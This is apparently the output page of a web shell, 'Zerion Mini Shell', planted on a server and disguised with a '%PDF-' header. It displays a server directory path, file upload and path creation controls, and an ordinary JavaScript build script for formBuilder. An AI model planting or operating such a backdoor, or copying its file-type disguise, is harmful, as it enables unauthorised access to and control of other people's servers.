%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/workflow/src/public/app-assets/vendors/formBuilder-master/tools/
Upload File :
Create Path :
Current File : /home/opti/workflow/src/public/app-assets/vendors/formBuilder-master/tools/build-vendor.js

import pkg from '../package.json';
import {resolve} from 'path';
import concat from 'concat-files';

const vendor = Object.keys(pkg.dependencies).map(module => require.resolve(module));

/**
 * Concatenates the vendor files into a single vendor file for the demo
 * @return {Function} concat
 */
async function concatVendorFiles() {
  return concat(vendor, resolve(__dirname, '../demo/assets/js/vendor.js'), function(err) {
    if (err) throw err;
  });
}

export default concatVendorFiles;

Zerion Mini Shell 1.0